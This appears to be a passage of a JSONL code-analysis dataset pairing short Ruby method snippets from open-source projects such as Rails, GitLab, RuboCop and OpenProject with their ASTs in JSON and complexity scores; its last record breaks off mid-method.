{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/user_presenter.rb","start_line":18,"raw_source":"def profile_enable_gitpod_path\n    user_settings_profile_path(user: { gitpod_enabled: true }) if application_gitpod_enabled?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"profile_enable_gitpod_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_gitpod_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"user_settings_profile_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitpod_enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},null]}]}","id":"6b79b31d-1ea0-45b5-9da8-451c99ba90cf"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_ext_test.rb","start_line":708,"raw_source":"def test_advance_preserves_offset_for_zoned_times_around_end_of_dst\n    with_tz_default \"US/Eastern\" do\n      # DST ended just before 2005-10-30 2:00:00 AM in US/Eastern, and clocks\n      # were rolled back 1 hour.\n      midnight = Time.new(2005, 10, 30, 00, 00, 00, Time.zone)        # 2005-10-30 00:00:00 -0400\n      one_am_1 = Time.new(2005, 10, 30, 01, 00, 00, Time.zone)        # 2005-10-30 01:00:00 -0400\n      one_am_2 = Time.new(2005, 10, 30, 02, 00, 00, Time.zone) - 3600 # 2005-10-30 01:00:00 -0500\n      two_am   = Time.new(2005, 10, 30, 02, 00, 00, Time.zone)        # 2005-10-30 02:00:00 -0500\n      assert_operator one_am_1, :<, one_am_2\n\n      assert_equal one_am_1, midnight.advance(hours: 1)\n      assert_equal one_am_2, midnight.advance(hours: 2)\n      assert_equal two_am, midnight.advance(hours: 3)\n\n      assert_equal midnight, one_am_1.advance(hours: -1)\n      assert_equal one_am_1, one_am_1.advance(seconds: 0)\n      assert_equal one_am_1 + 1, one_am_1.advance(seconds: 1)\n      assert_equal one_am_2, one_am_1.advance(hours: 1)\n      assert_equal two_am, one_am_1.advance(hours: 2)\n\n      assert_equal midnight, one_am_2.advance(hours: -2)\n      assert_equal one_am_1, one_am_2.advance(hours: -1)\n      assert_equal one_am_2, one_am_2.advance(seconds: 0)\n      assert_equal one_am_2 + 1, one_am_2.advance(seconds: 1)\n      assert_equal two_am, one_am_2.advance(hours: 1)\n\n      assert_equal one_am_2, two_am.advance(hours: -1)\n      assert_equal one_am_1, two_am.advance(hours: -2)\n      assert_equal midnight, two_am.advance(hours: -3)\n    end\n  end","complexity_score":75.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_advance_preserves_offset_for_zoned_times_around_end_of_dst\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tz_default\",{\"type\":\"str\",\"children\":[\"US/Eastern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"midnight\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"one_am_1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"one_am_2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]}]},\"-\",{\"type\":\"int\",\"children\":[3600]}]}]},{\"type\":\"lvasgn\",\"children\":[\"two_am\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},{\"type\":\"sym\",\"children\":[\"<\"]},{\"type\":\"lvar\",\"children\":[\"one_am_2\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"midnight\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"midnight\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"two_am\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"midnight\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"midnight\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"two_am\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"midnight\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[-2]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"two_am\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"one_am_2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"two_am\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"one_am_1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"two_am\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[-2]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"midnight\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"two_am\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[-3]}]}]}]}]}]}]}]}","id":"f1a688f3-1cc4-4a0b-891e-a1ef1c7cf171"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/app_tree.rb","start_line":114,"raw_source":"def test_ruby_file_paths_add_engine_path\n    temp_dir_and_file_from_path(\"lib/gems/gem123/test.rb\") do |dir, file|\n      at = Brakeman::AppTree.new(dir, :engine_paths => [\"lib/gems\"])\n      assert_equal [file], at.ruby_file_paths.collect(&:absolute).to_a\n    end\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ruby_file_paths_add_engine_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"temp_dir_and_file_from_path\",{\"type\":\"str\",\"children\":[\"lib/gems/gem123/test.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"AppTree\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"engine_paths\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"lib/gems\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"ruby_file_paths\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"absolute\"]}]}]},\"to_a\"]}]}]}]}]}","id":"219abdd9-1c3d-4cf5-8af5-880339e9e00b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/dependencies/interlock.rb","start_line":41,"raw_source":"def running(&block)\n        @lock.sharing(&block)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"running\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"sharing\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"34e907d7-e4bd-44f7-8d16-2bc04bb31d83"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/user.rb","start_line":348,"raw_source":"def lock\n    self.status = self.class.statuses[:locked]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"lock\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locked\"]}]}]}]}","id":"d275eec1-5566-4850-9c3b-7ccf09ddf437"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/workers/cost_query/pdf/timesheet_generator.rb","start_line":588,"raw_source":"def write_sum_table!(users, rows, index, total_groups)\n    write_sum_table_headline(index, total_groups)\n    rows.unshift(build_sum_table_header_row(users))\n    pdf.table(\n      rows,\n      header: true,\n      width: pdf.bounds.width,\n      column_widths: sum_table_column_widths(users),\n      cell_style: {\n        size: TABLE_CELL_FONT_SIZE,\n        border_color: TABLE_CELL_BORDER_COLOR,\n        border_width: 0.5,\n        borders: %i[top bottom left right],\n        padding: [TABLE_CELL_PADDING, TABLE_CELL_PADDING, TABLE_CELL_PADDING_BOTTOM, TABLE_CELL_PADDING]\n      }\n    )\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write_sum_table!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"arg\",\"children\":[\"rows\"]},{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"arg\",\"children\":[\"total_groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_sum_table_headline\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"lvar\",\"children\":[\"total_groups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"unshift\",{\"type\":\"send\",\"children\":[null,\"build_sum_table_header_row\",{\"type\":\"lvar\",\"children\":[\"users\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"table\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"bounds\"]},\"width\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_widths\"]},{\"type\":\"send\",\"children\":[null,\"sum_table_column_widths\",{\"type\":\"lvar\",\"children\":[\"users\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cell_style\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"const\",\"children\":[null,\"TABLE_CELL_FONT_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"border_color\"]},{\"type\":\"const\",\"children\":[null,\"TABLE_CELL_BORDER_COLOR\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"border_width\"]},{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"borders\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"top\"]},{\"type\":\"sym\",\"children\":[\"bottom\"]},{\"type\":\"sym\",\"children\":[\"left\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"padding\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_CELL_PADDING\"]},{\"type\":\"const\",\"children\":[null,\"TABLE_CELL_PADDING\"]},{\"type\":\"const\",\"children\":[null,\"TABLE_CELL_PADDING_BOTTOM\"]},{\"type\":\"const\",\"children\":[null,\"TABLE_CELL_PADDING\"]}]}]}]}]}]}]}]}]}","id":"3aaaa670-54a0-44ce-8654-172d61e4f03b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_condition.rb","start_line":118,"raw_source":"def offense?(node)\n          _condition, _if_branch, else_branch = *node # rubocop:disable InternalAffairs/NodeDestructuring\n          return false if use_if_branch?(else_branch) || use_hash_key_assignment?(else_branch)\n\n          synonymous_condition_and_branch?(node) && !node.elsif? &&\n            (node.ternary? || !else_branch.instance_of?(AST::Node) || else_branch.single_line?)\n        end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"offense?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_condition\"]},{\"type\":\"lvasgn\",\"children\":[\"_if_branch\"]},{\"type\":\"lvasgn\",\"children\":[\"else_branch\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_if_branch?\",{\"type\":\"lvar\",\"children\":[\"else_branch\"]}]},{\"type\":\"send\",\"children\":[null,\"use_hash_key_assignment?\",{\"type\":\"lvar\",\"children\":[\"else_branch\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synonymous_condition_and_branch?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"elsif?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"else_branch\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AST\"]},\"Node\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"else_branch\"]},\"single_line?\"]}]}]}]}]}]}","id":"69333fc2-fc50-4977-8016-9b4bf34061ee"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/correctors/lambda_literal_to_method_corrector.rb","start_line":114,"raw_source":"def selector_end\n        method.loc.selector.end\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"selector_end\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\"]},\"loc\"]},\"selector\"]},\"end\"]}]}","id":"3a519248-e324-44b4-ace5-bba623b74b17"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/application_controller.rb","start_line":949,"raw_source":"def honeypot_value\n    server_session[HONEYPOT_KEY] ||= SecureRandom.hex\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"honeypot_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_session\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"HONEYPOT_KEY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]}]}","id":"d7ea1226-58ad-4485-a8e1-4295991127b1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/common/styles.rb","start_line":139,"raw_source":"def agenda_section_title_cell\n      resolve_table_cell(@styles.dig(:agenda_section, :title_cell))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"agenda_section_title_cell\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_table_cell\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"agenda_section\"]},{\"type\":\"sym\",\"children\":[\"title_cell\"]}]}]}]}","id":"7a8260a1-545a-4aee-8204-0d4f413c566f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":179,"raw_source":"def test_in_batches_without_block_should_raise_if_order_is_invalid\n    assert_raise(ArgumentError) do\n      Post.select(:title).in_batches(order: :invalid)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_without_block_should_raise_if_order_is_invalid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"select\",{\"type\":\"sym\",\"children\":[\"title\"]}]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]}]}]}]}]}","id":"f57d7c88-c28d-4baf-8a88-50b806a0ba35"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/tags/doc_tag_unit_test.rb","start_line":105,"raw_source":"def test_doc_tag_ignores_nested_raw_tags\n    template = <<~LIQUID.chomp\n      {% doc %}\n        {% raw %}\n      {% enddoc %}\n    LIQUID\n\n    assert_template_result('', template)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_doc_tag_ignores_nested_raw_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% doc %}\\n\"]},{\"type\":\"str\",\"children\":[\"  {% raw %}\\n\"]},{\"type\":\"str\",\"children\":[\"{% enddoc %}\\n\"]}]},\"chomp\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]}]}]}","id":"e3a55b78-6be2-4bd3-b14f-fb2fe0992fd2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/daemon.rb","start_line":45,"raw_source":"def thread_name\n      self.class.name.demodulize.underscore\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"thread_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"demodulize\"]},\"underscore\"]}]}","id":"c2b554fd-59ea-42d4-9c3f-b92c141903fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/application_setting_spec.rb","start_line":436,"raw_source":"def many_usernames(num = 100)\n      Array.new(num) { |i| \"username#{i}\" }\n    end","complexity_score":3.25,"ast_json":"{\"type\":\"def\",\"children\":[\"many_usernames\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"num\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"num\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}","id":"04104238-bf57-4f20-8396-8648577d8481"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/base_thread_membership_serializer.rb","start_line":12,"raw_source":"def thread_title_prompt_seen\n      object.try(:thread_title_prompt_seen) || false\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"thread_title_prompt_seen\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"try\",{\"type\":\"sym\",\"children\":[\"thread_title_prompt_seen\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"1fe03052-09cc-4537-85cd-2aee5026e251"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/billboard.rb","start_line":487,"raw_source":"def valid_manual_audience_segment\n    return if audience_segment_type != \"manual\"\n\n    errors.add(:audience_segment_type) if audience_segment.blank?\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_manual_audience_segment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment_type\"]},\"!=\",{\"type\":\"str\",\"children\":[\"manual\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"audience_segment_type\"]}]},null]}]}]}","id":"08cdbe77-aaa3-47be-8d86-c4cccc3a8eb8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":676,"raw_source":"def repository_cleanup_failure(project, user, error)\n    return if project.emails_disabled?\n\n    mailer.send(:repository_cleanup_failure_email, project, user, error).deliver_later\n  